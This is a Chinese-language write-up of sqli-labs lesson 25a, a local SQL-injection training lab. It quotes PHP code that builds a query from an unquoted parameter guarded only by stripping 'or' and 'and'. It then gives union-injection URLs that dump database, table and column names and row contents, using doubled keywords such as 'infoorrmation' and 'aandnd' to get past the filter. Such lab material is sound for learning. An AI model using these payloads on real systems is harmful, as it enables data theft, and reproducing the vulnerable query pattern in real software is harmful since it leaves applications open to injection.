关键代码
function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id; } $id=$_GET['id']; $id= blacklist($id); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //print_r(mysql_error());
不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处可以采取两种方式:延时注入和联合注入。
联合注入 示例
1、获取当前数据库
http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select database()),2
2、获取所有数据库
http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),2
这里将information_schema改为infoorrmation_schema来绕过or过滤。
3、查看security库数据表
http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),2
4、查看referers表的所有列
http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='referers'),2
这里使用aandnd来绕过and过滤。
5、获取内容
http://127.0.0.1/sql/Less-25a/index.php?id=-1 union select 1,(select group_concat(id,0x3e,referer,0x3e,ip_address) from referers),2